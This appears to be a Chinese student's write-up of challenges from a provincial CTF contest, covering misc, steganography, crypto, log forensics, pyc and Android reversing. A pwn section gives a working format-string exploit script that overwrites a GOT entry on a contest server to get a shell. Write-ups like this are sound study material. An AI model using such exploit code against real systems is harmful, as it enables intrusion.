第八届山东省大学生网络安全技能大赛部分Writeup

目录

Misc-签到题(5pt)

Misc-上下左右(15pt)

Misc-压缩包的秘密(10pt)

Stego-啾咪~(5pt)

Stego-我和我的祖国(20pt)

Crypto-简单的密码学(5pt)

Crypto-小明的秘密(15pt)

Forensic-日志分析(10pt)

Reverse-python是最好的语言(15pt)

Mobile-第一题(10pt)

Mobile-贪吃蛇(20pt)

PWN-铜牌2MinZhu(25pt)

总结


 

Misc-签到题(5pt)

第八届山东省大学生网络安全技能大赛部分Writeup_第1张图片

flag会一个一个输出,但是太太太慢啦!

IDA走起,flag出现

第八届山东省大学生网络安全技能大赛部分Writeup_第2张图片

Misc-上下左右(15pt)

这题比赛上没做出来,真的扎心了(15分啊),还以为是个迷宫,结果。。

数据只有R L U D四个字母组成,结合题目:

R-right    L-left    U-up    D-down

画图(吐血):(用PIL画也可以)

import numpy as np
s='DDDDDDDDDRRRRRRDDDDDDDDDDDDDDDDLLLDDDDDDDDDDDLLRRRRLLDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRRUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDRRRRRRLDDDDDDDDDDDDDLLLLLLLRRRRRRRRLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUUURRLLDDDDDDDDDDDDDDDDDDDDDDLLDDDDRRDDDDDDDDDDDDDDDDDDDDDDDRRLLUUUUUUUUUUUUUUUUUUUUUUULLUUUURRUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDRRRRRLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDRRRUUUUUUUUUUUUUUUURRRRLLLLDDDDDDDDDDDDDDDDRRRRDDDDDDDDDDDDDDDDDDDDDDLLLLRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRUUUUUUUUUUUUUUUUUUUUULLLRRRDDDDDDDDDDDDDDDDDDDDDDDDRRDDDDLLDDDDDDDDDDDDDDDDDDDDLLL'
flag =np.zeros((199,100))
x=0
y=0
for i in range(len(s)):
	if(s[i]=='D'):
		y=y+1
		flag[x][y]='1'
	elif(s[i]=='U'):
		y=y-1
		flag[x][y]='1'
	elif(s[i]=='R'):
		x=x+1
		flag[x][y]='1'
	elif(s[i]=='L'):
		x=x-1
		flag[x][y]='1'
f = open('flag.txt', 'w', encoding='utf-8')
for j in range(100):
	s=''
	for z in range(199):
		if(str(flag[z][j])=='0.0'):
			s+=' '
		else:
			s+='x'
	f.write(s)
	f.write('\n')
f.close

第八届山东省大学生网络安全技能大赛部分Writeup_第3张图片

Misc-压缩包的秘密(10pt)

一个压缩包,但打不开,winhex打开看看怎么回事

第八届山东省大学生网络安全技能大赛部分Writeup_第4张图片

zip文件头应该是504B0304,但这里是4B500403。而且最后的base64也解不出来,"flag.txt"每两位显示反了(lfgat.tx)

先修复zip文件

S='4B50040300140009000872D74F55439F46CE0034000000260000000800006C666761742E7478C21C1AF9380F7F03C962F53BED1B5385CA595270F34D7C254B8FC92A76A115C99800EFAA55BF064FF3E37E7CF843E767B1DB813A4B500807439F46CE00340000002600004B500201001F00140009000872D74F55439F46CE00340000002600000008002400000000000000200000000000006C666761742E7478000A0020000000000001001844B9F4F387D701D53904C216855101D53904C216855101D54B5006050000000000010001005A0000006A000000800D09200A20200D20200A0A0D09200D20200A0A0D2009202009200A0D20200A0D20200D20090A202020200D09200A20200D20200A0D09200A20090D20200A09200D20090A202020200D09200A09090D20200A09090A0D20090D20090A202020200D09200A20200A0D20090D20090A0D20200A0D20200A20200A0D200920090A0D47646C686D6374555861744D47617346695A77313264745132636C686E62704E'
s1=''
for i in range(int(len(S)/4)):
	s1+=S[4*i+2]
	s1+=S[4*i+3]
	s1+=S[4*i]
	s1+=S[4*i+1]
print(s1)

用打印出的16进制新建一个zip,就可以正常打开了,但是需要密码

 第八届山东省大学生网络安全技能大赛部分Writeup_第5张图片

最后的那个base64也可以正常解码得到:

第八届山东省大学生网络安全技能大赛部分Writeup_第6张图片

压缩包密码的一半是"shensi",(当时比赛时一番操作猛如虎,另一半也没找出来。)

比赛结束后队友告诉我要用掩码爆破(之前没用过,学习了)

掩码先试了试  "shensi??????"  结果不出来,原来这个shensi是后六位,要用 "??????shensi爆破"

第八届山东省大学生网络安全技能大赛部分Writeup_第7张图片

居然用比赛简称当的密码:sdniscshensi

解压即可得到flag.txt

Stego-啾咪~(5pt)

zsteg秒出flag,base64解密即可(队友说Stegsolve也可做出来)

第八届山东省大学生网络安全技能大赛部分Writeup_第8张图片

Stego-我和我的祖国(20pt)

没做出来。赛后得知秘密在音频的最后:

第八届山东省大学生网络安全技能大赛部分Writeup_第9张图片

上代表1,下代表0,8位一组二进制代表一个字符,保存

f = open('wodezuguo.txt')
flag=''
for i in range(0,38):
	line = str(f.readline())
	l = int(line[0:8],2)
	flag+=chr(l)
print(flag)
#flag{fe8fd46820513b54cdd59b0485719f94}

Crypto-简单的密码学(5pt)

hellO everyone,Are YOU huNGrY? woUld you li To eAt BAcon?

只有一段话,最后很明显提示是培根密码

培根密码加密后的数据只会有a和b,所以这里猜测把小写字母改为a,大写字母改为b,空格及符号去掉

即可得到:aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa

解密:

import re
# 培根加密有两种
class Baconian():
    alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
                'v', 'w', 'x', 'y', 'z']
    first_cipher = ["aaaaa", "aaaab", "aaaba", "aaabb", "aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaab", "ababa",
                    "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "baaba", "baabb", "babaa", "babab",
                    "babba", "babbb", "bbaaa", "bbaab"]
    second_cipher = ["aaaaa", "aaaab", "aaaba", "aaabb", "aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaaa", "abaab",
                     "ababa", "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "baaba", "baabb", "baabb",
                     "babaa", "babab", "babba", "babbb"]
    def __init__(self, str):
        self.str = str
    def decode(self):
        str = self.str.lower()
        str_array = re.findall(".{5}", str)
        decode_str1 = ""
        decode_str2 = ""
        for key in str_array:
            for i in range(0,26):
                if key == Baconian.first_cipher[i]:
                    decode_str1 += Baconian.alphabet[i]
                if key == Baconian.second_cipher[i]:
                    decode_str2 += Baconian.alphabet[i]
        print(decode_str1)
        print(decode_str2)
if __name__ == '__main__':
    str = 'aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa'
    bacon = Baconian(str)
    bacon.decode()

得到flag:baconeasy

Crypto-小明的秘密(15pt)

RSA

给了e,n,dp,c

先求p和q

import gmpy2
from Crypto.Util.number import long_to_bytes
from md5 import md5
import random
def gcd(a, b):  
   if a < b:  
     a, b = b, a  
   while b != 0:  
     temp = a % b  
     a = b  
     b = temp  
   return a  

def getpq(n,e,d):  
    p = 1  
    q = 1  
    while p==1 and q==1:  
        k = d * e - 1  
        g = random.randint ( 0 , n )  
        while p==1 and q==1 and k % 2 == 0:  
            k /= 2  
            y = pow(g,k,n)  
            if y!=1 and gcd(y-1,n)>1:  
                p = gcd(y-1,n)  
                q = n/p  
    return p,q  
def main():
    n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387  
    e = 65537  
    d = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809042370271672930352969371906804874484366604552515101473  
    p ,q = getpq(n,e,d)
    print p
	#10764778531720163593861339317814143698116949272685956222461668361977288583778446477658374507732447400613839026285787928487146293408627522759489599495057011
    print q
	#12343454965361574101716097384276455818745801923162105367552839183537905176166495430935122527638923055410806490319187811217211719318448241345074351522474217
    #print "FLag is flag{%s}" % md5(str(p + q)).hexdigest()
if __name__ == "__main__":
    main()

 得到了p和q就好办了

import gmpy2
from Crypto.Util.number import long_to_bytes ,bytes_to_long
import base64
e=65537 
n=132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387
p=10764778531720163593861339317814143698116949272685956222461668361977288583778446477658374507732447400613839026285787928487146293408627522759489599495057011
q=12343454965361574101716097384276455818745801923162105367552839183537905176166495430935122527638923055410806490319187811217211719318448241345074351522474217
phi=(q-1)*(p-1)
d = gmpy2.invert(e, phi)  #(e * d) % phi = 1
c = 105561263344197224500437985369890277605607419491189003046055021715638244356677672489534224683808733691744645034854814587326664189059178955870261337977176277155277781998771630340367082086864012637516012166291357901866101513273848851471805311144501065601880125348980410104702516232148506526616670074084982119236
m = pow(c, d, n)
print(m)
flag = long_to_bytes(m)
print(flag)
#b'flag{271c7ec33858d491f88a83e3d35ac411}'

Forensic-日志分析(10pt)

这也太多了吧,找一下和flag相关的信息

第八届山东省大学生网络安全技能大赛部分Writeup_第10张图片

猜测是sql盲注,把信息提取出来,选择每组(C1、C2...C38)最后一个返回值为215的数据记录【红色框】(209的不对)

连在一起即是flag

s=[102,108,97,103,123,54,55,54,98,97,51,49,98,98,56,97,55,53,102,56,102,100,49,101,102,51,51,56,49,56,100,48,52,99,100,49,100,125]
f=''
for i in range(len(s)):
	f+=chr(s[i])
print(f)
#flag{676ba31bb8a75f8fd1ef33818d04cd1d}

Reverse-python是最好的语言(15pt)

pyc反编译。记得刚学逆向的时候做过,但比赛时居然忘了改pyc文件头这一步了。(太笨了)

先winhex打开看一下文件头:

第八届山东省大学生网络安全技能大赛部分Writeup_第11张图片

33 0D,说明现在他“是”一个python3.6的文件,但为什么反编译不了呢,因为他其实不是python3.6的。这里猜测他应该是3.7(42 0D)或者2.7(03 F3)

发现改为03 F3后就反编译成功了(反编译工具: uncompyle6)

uncompyle6 flag.pyc > flag.py

# uncompyle6 version 3.3.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: flag.py
# Compiled at: 2019-10-21 14:01:56
import math
flag = 'flag{**********************}'
Sd = []
SdSd = []
for SdSdSdSd in flag:
    Sd.append(ord(SdSdSdSd))

def func(SdSdSd):
    SdSdSdSdSd = True
    SdSdSdSd = 2
    sq = int(math.sqrt(SdSdSd)) + 1
    while SdSdSdSd <= sq:
        if SdSdSd % SdSdSdSd == 0:
            SdSd.append(SdSdSdSd + 1)
            SdSdSdSdSd = False
            func(SdSdSd / SdSdSdSd)
            SdSdSdSd += 1
            break
        SdSdSdSd += 1

    if SdSdSdSdSd:
        SdSd.append(SdSdSd + 1)


for SdSdSdSd in Sd:
    func(SdSdSdSd)
    print SdSd,
    SdSd = []
# okay decompiling 111.pyc

 逆向的话感觉有点麻烦,来个爆破

import math
flag = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{+-*/}'
f = [[3, 4, 18], [3, 3, 4, 4, 4], [98], [104], [4, 42], [102], [3, 8, 8], [3, 3, 3, 3, 4], [4, 4, 12], [3, 4, 18], [3, 6, 6], [3, 4, 18], [8, 8], [3, 8, 8], [3, 4, 18], [4, 4, 12], [4, 20], [4, 20], [4, 20], [3, 3, 3, 3, 4], [102], [102], [4, 18], [3, 3, 6, 6], [4, 18], [4, 20], [4, 20], [98], [3, 6, 6], [3, 8, 8], [3, 8, 8], [3, 3, 6, 6], [102], [4, 18], [3, 3, 6, 6], [3, 3, 6, 6], [3, 3, 14], [6, 6, 6]]
Sd = []

SdSd = []
for SdSdSdSd in flag:
    Sd.append(ord(SdSdSdSd))
def func(SdSdSd):
    SdSdSdSdSd = True
    SdSdSdSd = 2
    sq = int(math.sqrt(SdSdSd)) + 1
    while SdSdSdSd <= sq:
        if (SdSdSd % SdSdSdSd) == 0:
            SdSd.append(SdSdSdSd + 1)
            SdSdSdSdSd = False
            func(SdSdSd / SdSdSdSd)
            SdSdSdSd += 1
            break
        SdSdSdSd += 1

    if SdSdSdSdSd:
        SdSd.append(SdSdSd + 1)

flag_str = ''
for i in range(38):
	for SdSdSdSd in Sd:
		func(SdSdSdSd)
		strsdsd = str(SdSd).replace('.0','')
		if(strsdsd == str(f[i])):
			flag_str += chr(SdSdSdSd)
		SdSd = []
print(flag_str)
#flag{eb0cf2f1bfc9990ee3d399a2bbde3dd4}

Mobile-第一题(10pt)

jeb打开,很简单的逆向题

第八届山东省大学生网络安全技能大赛部分Writeup_第12张图片

v='sic19Sdc02ds10c'
s1='Sdnisc2019'
f=''
for i in range(len(v)):
	for j in range(len(s1)):
		if(s1[j]==v[i]):
			f += str(j)
print(f)
#435890157614875

再md5加下密即可,或者去模拟器下体验下获取flag的快感(无)

第八届山东省大学生网络安全技能大赛部分Writeup_第13张图片

Mobile-贪吃蛇(20pt)

第八届山东省大学生网络安全技能大赛部分Writeup_第14张图片太难玩了55555

关键函数在这:

第八届山东省大学生网络安全技能大赛部分Writeup_第15张图片

第一个参数是90,要求90与两个数字组成一个字符串,长度为8,那么就先猜测两个都是3位的。之后base64加密,再md5加密,要求等于"cc3fa9c107c0d8b48d6af32d26eacf2a"

爆破即可:

import hashlib
import base64
from Crypto.Util.number import long_to_bytes ,bytes_to_long

s = 'cc3fa9c107c0d8b48d6af32d26eacf2a'
for a2 in range(100, 999):
	for a3 in range(100, 999):
		s1 = b'90%3d%3d' % (a2, a3)
		str = base64.b64encode((s1))
		m = hashlib.md5()
		m.update(str)
		md5 = m.hexdigest()
		if s == md5:
			print (md5)
			print (s1)
#cc3fa9c107c0d8b48d6af32d26eacf2a
#b'90585675'

flag{90585675}

PWN-铜牌2MinZhu(25pt)

angr大法好,上个星期刚学了angr,没想到这就用上了。

程序有两个函数,第一个相当于一个逆向,要求出来key才能进入第二步。

第八届山东省大学生网络安全技能大赛部分Writeup_第16张图片

逆的话还得动态调试分析,太麻烦了,angr直接获取:(angr安装:https://blog.csdn.net/Hotspurs/article/details/102711880)

import angr
proj = angr.Project("./pwn_MinZhu")

simgr = proj.factory.simgr()

simgr.explore(find=lambda s: b"Hi,  SDNISC 2019 ~~~" in s.posix.dumps(1))

print simgr.found[0].posix.dumps(0)

第八届山东省大学生网络安全技能大赛部分Writeup_第17张图片

不到10秒就得到了Key,进入下一个函数

第八届山东省大学生网络安全技能大赛部分Writeup_第18张图片

格式化字符串漏洞,而且发现与去年的很像。。

from pwn import *
context.log_level = 'debug'
cn = remote('172.29.1.28',9999)
#cn = process('pwn_MinZhu')
print 'next'
cn.recvuntil('Key:')
cn.sendline('xNd9y6')
print 'next'
cn.recvuntil('your msg:')
payload = fmtstr_payload(4,{0x0804A064:0x3})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x0804A060:0x2019})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x804a01c:0x08048696})
cn.sendline(payload)
cn.interactive()


#xNd9y6

总结

第一次打省赛,个人赛拿了个二等奖,虽然对结果还算满意,但感觉许多题还是应该做出来的。

以后好好学下pwn,为今后的比赛做更好的准备。

你可能感兴趣的:(WriteUp)